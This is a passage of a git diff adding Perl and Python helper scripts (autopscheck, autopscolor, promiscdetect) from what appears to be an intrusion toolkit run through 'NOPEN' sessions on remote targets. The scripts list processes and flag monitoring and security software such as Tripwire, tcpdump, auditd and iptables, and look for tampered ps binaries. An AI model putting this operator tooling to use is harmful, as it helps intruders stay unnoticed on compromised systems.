version %s\n' % self.version + + parser = OptParser(usage='usage: -gs promiscdetect [options]', epilog=epilog) + parser.add_option('-v', dest='v', action='store_true', help='Show version and exit.') + + return parser + + + def print_version(self, prog): + + script_name = os.path.basename(prog) + + if script_name.startswith('auto'): + script_name = script_name.split('auto', 1)[1] + + self.doprint('-gs %s version %s' % (script_name, self.version)) + + +if __name__ == '__main__': + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autopromiscdetect().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autopscheck b/Linux/etc/autopscheck new file mode 100755 index 0000000..9edabe2 --- /dev/null +++ b/Linux/etc/autopscheck @@ -0,0 +1,465 @@ +#!/usr/bin/env perl +## +$VER="1.5.1.6" ; + +# TODO: Add "where are we" by default highlight our stuff +# Add -V option to filter out, comma delimited. +# nopen seems happier with stderr in lsh runs +#select STDERR ; +$| = 1 ; + +# %nasties is global, now defined in autoutils.... +myinit() ; +%warnedalready = () ; + +my %mon = ("jan" => 0, "feb" => 1, "mar" => 2, "apr" => 3, "may" => 4, "jun" => 5, "jul" => 6, "aug" => 7, "sep" => 8, "oct" => 9, "nov" => 10, "dec" => 11); + +my $psargs = ""; +# Figure out what ps to use for this guy. +unless (-e "$optmp/pscommand.$nopen_rhostname") { + # Figure out what rcfile we're using. + my $rcfile = ""; + $rcfile = "$opetc/norc.solaris" if $solaristarget; + $rcfile = "$opetc/norc.linux" if $linuxtarget; + $rcfile = "$opetc/norc.hpux" if $hpuxtarget; + $rcfile = "$opetc/norc.aix" if $aixtarget; + $rcfile = "$opetc/norc.bsd" if $freebsdtarget; + $rcfile = "$opetc/norc.junos" if $junostarget; + $rcfile = "$opetc/norc.darwin" if $darwintarget; + $rcfile = "$opetc/norc.mirapoint" if $mirapointtarget; + dbg("in autopscheck, rcfile =$rcfile="); + + mymydie("Odd....Unable to discover which norc file to use for this platform: $nopen_serverinfo") + unless (-s $rcfile); + my @lines = grep ! /^\s*\#/ , readfile("ARRAY",$rcfile); + @lines = grep /^\s*alias\s+=ps=/ , @lines; + ($pscommand,$psargs) = $lines[0] =~ /^\s*alias\s=ps=(\S+)\s(\S+)/; + mymydie("Odd....Unable to discover =ps command in $rcfile for this platform: $nopen_serverinfo") + unless ($pscommand); + if (open(OUT,"> $optmp/pscommand.$nopen_rhostname")) { + print OUT "$pscommand\n"; + print OUT "$psargs\n"; + } + close(OUT); +} else { + if (open(IN,"$optmp/pscommand.$nopen_rhostname")) { + chomp($pscommand = ); + chomp($psargs = ); + } + else { + # Set sensible defaults for this command, to ensure that we get at least + # some type of output. + $pscommand = "ps"; + $psargs = "-ef"; + } + close(IN); +} + +# save these in case we want to run both and compare +my ($origpscommand,$origpsargs) = ($pscommand,$psargs); +my $nohackcommand=0; +if ((@hackdirs or @hackfiles) and !(-e "$optmp/hackpscommand.$nopen_rhostname")) { + #TODO: First try -cksum to find good one if we do use it instead of + # running an unknown with "-h". + if (-e "$optargetcommands/ps.$nopen_rhostname") { + # This one, if there, was done with the maybe hacked ps so we rename + # it that way. + rename("$optargetcommands/ps.$nopen_rhostname","$optargetcommands/ps.hacked.$nopen_rhostname"); + } + my $hackpscommand = ""; + my $trieddirs=0; + my %donealready = (); + while (!$hackpscommand) { + foreach $hackfile (@hackfiles) { + $hackfile =~ s/^\s*//; + $hackfile =~ s/\s*$//; + if (($hackfile =~ /\s*/) or ($hackfile =~ /^Remote/)) { + dbg("in autopscheck (1), something broke! hackfiles is the content of -help!"); + $nohackcommand=1; + last; + } + next if $donealready{$hackfile}++; + preservefile("$optmp/.psstrings"); + # Hmm....we redirect this to L: file, but somehow $output still has output in it + ($output,$nopenlines,@output) = doit("-strings $hackfile > L:$optmp/.psstrings"); + preservefile("$optmp/.psstrings"); + # if ($output =~ /usage.*\s*ps\s/) { + # Weird, but even though we redirected to L:, the $output is still set + # by doit() to the output of the command, which the user does not see. + if ($output =~ /pid[^\n]*ppid/) { + ($output,$nopenlines,@output) = doit("file $hackfile"); + $hackpscommand = $hackfile if ($output =~ /executable/i); + } + } + unless ($hackpscommand) { + $trieddirs++; + @hackfiles = (); + foreach $hackdir (@hackdirs) { + if ($hackdir =~ /^Remote/) { + dbg("in autopscheck (2), something broke! hackdir is the content of -help!"); + $nohackcommand=1; + last; + } + ($output,$nopenlines,@output) = doit("-ls -1 $hackdir"); + foreach $hackfile (grep { !/\/\.{1,2}$/ and !/We will be reading from/ } @output) { + $hackfile =~ s/^\s*//; + $hackfile =~ s/\s*$//; + if (($hackfile =~ /\s*/) or ($hackfile =~ /^Remote/)) { + dbg("in autopscheck (3), something broke! hackfile is the content of -help!"); + $nohackcommand=1; + last; + } + next if $donealready{$hackfile}; + push(@hackfiles,$hackfile); + } + } + last unless @hackfiles; + } + dbg("in autopscheck !hackpscommand, nohackcommand = =$nohackcommand="); + last unless !$nohackcommand; + } + if ($hackpscommand and open(OUT,"> $optmp/hackpscommand.$nopen_rhostname")) { + print OUT "$hackpscommand\n"; + print OUT "$psargs\n"; + } + close(OUT); +} + +if (-e "$optmp/hackpscommand.$nopen_rhostname") { + if (open(IN,"$optmp/hackpscommand.$nopen_rhostname")) { + chomp($pscommand = ); + chomp($psargs = ); + } + close(IN); +} + +preservefile("$optargetcommands/ps.$nopen_rhostname"); +dbg("in autopscheck, pscommand = =$pscommand=, psargs =$psargs="); + + +if ($comparehacked and $pscommand ne $origpscommand) { + progprint("Saving \"$origpscommand $psargs\" to $optargetcommands/ps.hacked.$nopen_rhostname"); + preservefile("$optargetcommands/ps.hacked.$nopen_rhostname"); + doit("$origpscommand $psargs >T:$optargetcommands/ps.hacked.$nopen_rhostname"); + progprint("Saving \"$pscommand $psargs\" to $optargetcommands/ps.$nopen_rhostname"); + doit("$pscommand $psargs >T:$optargetcommands/ps.$nopen_rhostname"); + if (-x "/usr/bin/kompare") { + doit("-lsh /usr/bin/kompare $optargetcommands/ps.$nopen_rhostname $optargetcommands/ps.hacked.$nopen_rhostname 2>/dev/null >/dev/null &"); + } else { + doit("-lsh xterm -hold -e \"diff $optargetcommands/ps.$nopen_rhostname $optargetcommands/ps.hacked.$nopen_rhostname\""); + } +} else { + ($output,$nopenlines,@output) = doit("$pscommand $psargs >T:$optargetcommands/ps.$nopen_rhostname"); +} + + +#Global $printlater appended to by printlater() +$printlater = ""; + +unless (open(IN,"$optargetcommands/ps.$nopen_rhostname")) { + mymydie("could not open $optargetcommands/ps.$nopen_rhostname"); +} +my %fieldnum=(); +$line=""; +while ($line = ) { + next if $line =~ /^We will be reading from \d+/; + if ($line =~ /PID.*TT.*TIME/) { + $header .= uc $line ; + my $tmpheader = $header ; + $tmpheader =~ s/^\s+// ; + my (@fieldnames) = split (/\s+/,$tmpheader) ; +#dbg("fn=@fieldnames"); + for $i (0..$#fieldnames) { + $fieldnum{$fieldnames[$i]} = $i ; +#dbg("Setting \$fieldnum \{$fieldnames[$i]} = $i "); + } +# printlater($line) if $nosort ; +# printlater($line) ; + foreach (keys %fieldnum) { + } + next ; + } + $line =~ s/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+/$1/i ; + if ($nosort) { + printlater($line) ; + } else { + # my (@pids) = $line =~ /(\d+)\s+(\d+)\s+\d+\s+(\S+)/ ; + my $tmpline = $line ; + $tmpline =~ s/^\s+// ; + my (@fields) = split(/\s+/,$tmpline) ; + if ($timesort) { + $time = $fields[$fieldnum{STIME}]; + $time = $fields[$fieldnum{START}] unless ($fieldnum{STIME} > 0) ; + if ($time =~ /[a-z]/i) { # gotmonthhere + $outputalpha{$time} .= $line ; + } + elsif ($time =~ /\d{4}/) { # got year + $outputyear{$time} .= $line ; + } + else { + $output{$time} .= $line ; + } + #progprint("DBG: sorting on $time (choices are STIME=$fieldnum{STIME} and START=$fieldnum{START})") if $debug ; + } else { + unless (defined $fieldnum{$fieldtosort}) { + mywarn("Unable to sort by $fieldtosort--sorting by PID instead") + unless ($fieldtosort eq "PID"); + $fieldtosort = "PID" ; + } +# dbg("Sorting by \$fieldnum"."{$fieldtosort}=$fieldnum{$fieldtosort}=$fields[$fieldnum{$fieldtosort}]"); + progprint("DBG: Sorting by \$fieldnum"."{$fieldtosort}=$fieldnum{$fieldtosort}=$fields[$fieldnum{$fieldtosort}]") if $debug ; + for ($i=0;$i<@fields;$i++) { + } + $output{$fields[$fieldnum{$fieldtosort}]} .= $line ; + $numonly = 0 unless ($fields[$fieldnum{$fieldtosort}] =~ /^\d+\.{0,1}\d*$/ ); + } + } + chomp; + %warnedalready = () ; + foreach $nasty (keys %nasties) { + if ($line =~ /$nasty/) { + my $warning = "\'$nasty\' ($nasties{$nasty})"; + mymywarn($warning,"$line"); + sleep 1; + } #if + } #foreach $nasty +} #foreach @output +close(IN) ; + +unless ($nosort) { + printlater($header) ; + if ($timesort) { + foreach (sort by_num keys %outputyear) { + printlater($outputyear{$_}); + } + foreach (sort by_month keys %outputalpha) { + printlater($outputalpha{$_}) ; + } + foreach (sort keys %output) { + printlater($output{$_}) ; + } + } elsif ($numonly) { + foreach (sort by_num keys %output) { + printlater($output{$_}) ; + } + } else { + foreach (sort keys %output) { + printlater($output{$_}) ; + } + } + printlater("\n$header") ; # second one at bottom is nice +} +my $tmpps = $pscommand; + +if ($pscommand =~ /\//) { + $tmpps = "$COLOR_FAILURE$tmpps$COLOR_NORMAL"; +} + +my ($more,$more2) = (); +if ($fieldtosort and !$nosort) { + $more = " (sorted by $fieldtosort)"; +} + +$printlater2=$printlater; +$printlater=""; +if ($badlines) { + $printsh_out++ if open(SH_OUT,">> $opdir/.moreSHerrors" ) ; + print SH_OUT "BEGIN pscheck $nopen_rhostname: \n" if $printsh_out ; + if ($badcontent) { + print("$COLOR_NOTE\n\aThe following lines from above match one of the following:\n"); + my $count = 1 ; + foreach (keys %nasties) { + print("\t$_") ; + print("\n") unless ($count++ % 5) ; + } + } + printboth("\n\n","multiplelines"); + printboth($badlines,"multiplelines",$COLOR_FAILURE) ; + print("$COLOR_NOTE\nThis will be reported automatically.\n"); + printboth("\n\n","multiplelines"); + print SH_OUT "END pscheck $nopen_rhostname: \n" if $printsh_out ; +} +if ($printlater) { + my $msg = "\n\nSUSPECT ENTRIES FOUND on $nopen_rhostname with $pscommand\n". + "\n$COLOR_NOTE (each line shows the suspect regexp that matched)$COLOR_FAILURE\n". + "$printlater\n\n"; + if (open(TMPOUT,">$optmp/$nopen_rhostname.suspect.pscheck")) { + print TMPOUT $msg; + close(TMPOUT); + filepopup("$optmp/$nopen_rhostname.suspect.pscheck","-bg white -fg red -geometry 152x48"); + $more2 = "\nSee also popped up alert showing $nopen_rhostname.suspect.pscheck."; + } + mywarn($msg); +} +if ($nosort) { + progprint("Above was $prog parsed output from:\n$tmpps $psargs",$COLOR_NORMAL); +} else { + progprint("$prog parsed output$more from:\n$tmpps $psargs\n$printlater2\n\n(that was $tmpps $psargs$more)$more2",$COLOR_NORMAL); + if ($autoburnfile) { + writefile("APPEND",$autoburnfile,timestamp." $prog parsed output$more from:\n$tmpps $psargs\n$printlater2\n\n(that was $tmpps $psargs$more)$more2\n\n"); + } +} +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs pscheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs pscheck"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $autodone++ if ("@ARGV" =~ /auto(newdone|done)/) ; + ($autoburnfile) = "@ARGV" =~ /autoburnfile=(.*)/ ; + $pscommand = "=ps" unless (length $pscommand); + $pscommand = "ps -ef" if ($useef); + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"-gs pscheck\" or +\"=pscheck\" is used. + +"; + $gsusagetext="Usage: -gs pscheck [options] [ str1 [ str2 ... ] ] + +-gs pscheck runs \"$pscommand\" on target and then calls +$opetc/autopscheck to parse the output. Suspect entries in the +output are repeated a second time ${COLOR_FAILURE}in red$COLOR_NORMAL, +as well as reported to the powers that be. + +To re-sort the SAME ps output (without re-running it on target), hit +up-arrow after running -gs pscheck and in the \"-lsh autopscheck +\$GSOPTIONS\" command, replace the last argument (\$GSOPTIONS) with +the new options and/or strN arguments. + +Default suspect entries that will be flagged in red and their comments +(these are perl regexp's):\n\n"; +$gsusagetext .= sprintf(" %18s %s\n","_REGEXP_","_COMMENT_"); +foreach my $key (keys %nasties) { + $gsusagetext .= sprintf(" %18s %s\n",$key,$nasties{$key}); +} +$gsusagetext .= " +Additional suspect entries can be flagged by putting one or more strN +arguments after all options on the command line. E.g.: + +\t-gs pscheck ps.-ef tail messages + +OPTIONS + + -s Do NOT sort (default sorts by PID), preserve original order. + -p Sort by PPID instead of PID (if possible with ps output). + -t Sort by start time (STIME) instead of PID. + -H str Try these comma delimited files to see if maybe they are a + legitimate ps binary and use it instead if one is. + -D str Try all files in these comma delimited directories to see if maybe + one is a legitimate ps binary and use it instead if one is. + CAUTION: A -strings is done on every file in these directories. Do + not point to a directory that is huge. + -c If there is a hacked ps and a legitimate one, run both and show + the difference. + -f str Sort by ps field \"str\". If \"str\" is not a valid field, it is + ignored. The \"str\" is case insensitive. Examples: + +\t\t-f tty\t\t-f command +\t\t-f cmd\t\t-f uid + +"; + mydie("bad option(s)") if (! Getopts( "hvsptf:dH:cD:" ) ) ; + $debug = $opt_d ; + $nosort = $opt_s ; + $comparehacked = $opt_c; + $timesort = $opt_t ; + if ($opt_H) { + @hackfiles = split(/,/,$opt_H); + } + if ($opt_D) { + @hackdirs = split(/,/,$opt_D); + foreach (@hackdirs) { + mydie("Directory $_ in -D argument must start with a \"/\"") + unless $_ =~ m,^/,; + mydie("Directory $_ in -D argument must not contain whitespace") + if /\s/; + } + } + $fieldtosort = "PID" ; + $fieldtosort = "PPID" if $opt_p ; + $fieldtosort = "START" if $timesort ; + $fieldtosort = uc $opt_f if $opt_f ; + $useef = $opt_e ; + usage() if ($opt_h or $opt_v) ; + foreach (@ARGV) { + $nasties{$_} = "User Added" unless /autodone/; + } + # $badlines is appended to by mymywarn() + $badlines = "" ; + $numonly = 1 ; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +} #myinit + +sub by_month { + $c = $mon{substr(lc($a), 0, 3)} <=> $mon{substr(lc($b), 0, 3)}; + if ($c == 0) { + return int(substr($a, 3, length($a))) <=> int(substr($b, 3, length($b))); + } + else { + return $c; + } +} + +sub printboth { + local ($line,$code,$color,@more) = (@_) ; +# printlater($color.$line.$COLOR_NORMAL) ; + printlater($line) ; + if ($printsh_out) { + if ($code eq "multiplelines") { + foreach (split(/\n/,$line)) { + print SH_OUT $_."\n" ; + } + } else { + print SH_OUT "$color$line$COLOR_NORMAL" ; + } + } +}#printboth + +sub mymywarn { + local ($nasty,$what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + + $badlines .= sprintf "MATCHES %-13s: $what",$nasty ; + $badcontent++ unless $what =~ /unable to sort by /i ; + if ($autodone) { + my $more = "" ; + open(MYOUT,">> $opdir/latewarnings.$nopen_rhostname") || return ; + $more = "\nPotentially Bad Process matches \"$nasty\":\n"; + #unless $nomore++ ; + print MYOUT "$more$what\n" ; + close MYOUT + } +} + +sub printlater { + # one line per + local ($str) = (@_); + chomp($str); + $printlater .= $str."\n"; +#dbg($printlater); +} diff --git a/Linux/etc/autopscolor b/Linux/etc/autopscolor new file mode 100755 index 0000000..5fc1d99 --- /dev/null +++ b/Linux/etc/autopscolor @@ -0,0 +1,1055 @@ +#!/usr/bin/env perl + +# print("\n\n\nNOW IN AUTOPSCOLOR WITH autoscript=$autoscript= DBG willautoport=$willautoport= socket=$socket= ARGV=(@ARGV)\n\n\n"); +#dbg("\n\n\nNOW IN AUTOPSCOLOR WITH autoscript=$autoscript= DBG willautoport=$willautoport= socket=$socket= ARGV=(@ARGV)\n\n\n"); + +my $VER="1.0.0.9"; +$|=1; +myinit() ; +my (%procs, $normedlength, @notparsed, @nopenpids, $stoicnames,$mypid,@hiddenbins,$localupfiles,$nopenl,$nopens,$ddc,$ddw, $myppid) = (); + +if ($solaristarget or $linuxtarget) { + goahead(); +} else { + mywarn("This only works on Solaris or Linux systems"); +} +# Called via do so must end with 1; +1; + +# ToDo: +# Add CWD checks for some known goods +# How can we identify SBZ? +# How can we identify other binaries that may be in hidden but not in up? + + +sub goahead { + # Bad procs + my %reds = %nasties; +# ( +# "[ds]trace]" => "Process tracing", +# "top" => "Process lister", +# "/trip" => "Tripwire", +# "tripw" => "Tripwire", +# "/tw/", => "Tripwire", +# "su( -){0,1}\$" => "Root login", +# "hme[0-9]" => "Network interface", +# "eth[0-9]" => "Network interface", +# "snoop" => "Network sniffer (Solaris)", +# "tcpdump" => "Network sniffer", +# "prstat" => "Process lister (Solaris)", +# "xen" => "Xen VM Software", +# "vmw" => "VMware", +# "virtual" => "Unknown Virtual Machine?", +# "qemu" => "Qemu VM Software", +# "ss_" => "Sunscreen Firewall (Solaris)", +# "sunscreen" => "Sunscreen Firewall (Solaris)", +# "ipf" => "IPFilter (BSD)", +# "iptables" => "IPTables (Linux)", +# "drwebd" => "Dr. Web", +# "ufsdump" => "Disk Dumper", +# "auditd\$" => "Auditing Daemon", +# "symond" => "System Monitor (Solaris)", +# "/ksg(http|ftp|auth|control)" => "(CA-Jinchen) KILL Shield Gateway", +# +# ); + + # Known goods for solaris, each group below is based on additions to the + # group before it, and is not all-inclusive in itself + # The groups just reflect where I happen to find each process and may not be specific + # to a certain os/version + # + # Required fields: UID, TTY, CMD + # PID, PPID are optional + my @sblues = ( + { 'UID' => "root", 'PID' => "0", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^sched$) }, # 9 x86 + { 'UID' => "root", 'PID' => "1", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^/etc/init -$)}, # 9 x86 + { 'UID' => "root", 'PID' => "2", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^pageout$)}, # 9 x86 + { 'UID' => "root", 'PID' => "3", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^fsflush$)}, # 9 x86 + { 'UID' => "root", 'PID' => "1", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^/sbin/init$)}, # 10 + + #root / ppid 1 / tty ? + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sadm/lib/smc/bin/smcboot$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/syslogd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/sysevent/syseventd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/picl/picld$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/rpcbind$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/autofs/automountd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/inetd -s$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/nfs/lockd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/cron$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/nscd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/power/powerd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/utmpd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/vold$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/snmp/snmpdx -y -c /etc/snmp/conf$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/dmi/dmispd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/ssh/sshd$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/sendmail -bd -q15m$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/im/htt -port 9010 -syslog -message_locale C$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/lpsched$)}, # 8 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/efcode/sparcv9/efdaemon$)}, # 8 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/lib/svc/bin/svc.startd$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/lib/svc/bin/svc.configd$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/auditadmr$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sfw/sbin/snmpd$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/inet/inetd start$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/fm/fmd/fmd$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/dmi/snmpXdmid -s [\w\d-_.]+$)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/in.named$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/etc/opt/SUNWconn/atm/bin/atmsnmpd -n$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/etc/opt/SUNWconn/atm/bin/ilmid$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/inet/in.ndpd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/dt/bin/dsdm$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/bin/ksh /usr/dt/bin/sdtvolcheck -d -z 5 cdrom,zip,jaz,dvdrom,rmdisk$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "pts/\\d", 'CMD' => qr(^/usr/dt/bin/ttsession$)}, + #{ 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^$)}, + + # root / tty? + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/saf/sac -t 300$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/openwin/bin/Xsun :0 (-defdepth \d+ )?-nobanner -auth /var/dt/A:0-\S{6}$)}, # 7 + #{ 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^htt_server -port 9010 -syslog -message_locale C$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^mibiisa -r -p )}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^dtgreet -display :0$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/bin/ksh /usr/dt/bin/Xsession$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/openwin/bin/fbconsole$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^rpc.ttdbserverd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/dt/bin/rpc.ttdbserverd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^dtwm$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/dt/bin/sdtperfmeter -f -H -t cpu -t disk -s 1 -name fpperfmeter$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^rpc.rstatd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/bin/cat /tmp)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/dt/bin/dtscreen -mode blank$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/dt/bin/dtexec -open 0 -ttprocid 1.1)}, + + # non-root + { 'UID' => "daemon", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/nfs/lockd$)}, # 9 x86 + { 'UID' => "daemon", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/nfs/statd$)}, # 9 x86 + { 'UID' => "smmsp", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/sendmail -Ac -q15m$)}, # 9 x86 + { 'UID' => "daemon", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/crypto/kcfd$)}, # 10 + { 'UID' => "daemon", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/rpcbind$)}, # 10 + + # Non-tty ? + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "console", 'CMD' => qr(^/usr/lib/saf/ttymon -g )}, # 9 x86 / 8 / 7 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "console", 'CMD' => qr(^/usr/lib/saf/ttymon -g -d /dev/console)}, # 10 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?\\?", 'CMD' => qr(^/usr/openwin/bin/fbconsole -d :0$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "pts/\\d", 'CMD' => qr(^/usr/dt/bin/sdt_shell -c unset DT; DISPLAY=:0; /usr/dt/bin/dt$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "pts/\\d", 'CMD' => qr(^-sh -c unset DT; DISPLAY=:0; /usr/dt/bin/dtsession_res -merge$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "pts/\\d", 'CMD' => qr(^/usr/dt/bin/dtsession$)}, + + # root / tty ? + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/dt/bin/dtlogin -daemon$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/openwin/bin/Xsun :0 -nobanner -auth /var/dt/A:0-diaiMa$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/sadm/lib/smc/bin/smcboot$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/saf/ttymon$)}, # 9 x86 + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/lib/saf/ttymon$)}, # 9 x86 + #{ 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^$)}, + + # Other + #{ 'UID' => "", 'PID' => "", 'PPID' => "", 'TTY' => "", 'CMD' => qr()}, + ); # End Solaris blues + + # Known goods for linux + my @lblues = ( + # top guys + { 'UID' => "root", 'PID' => 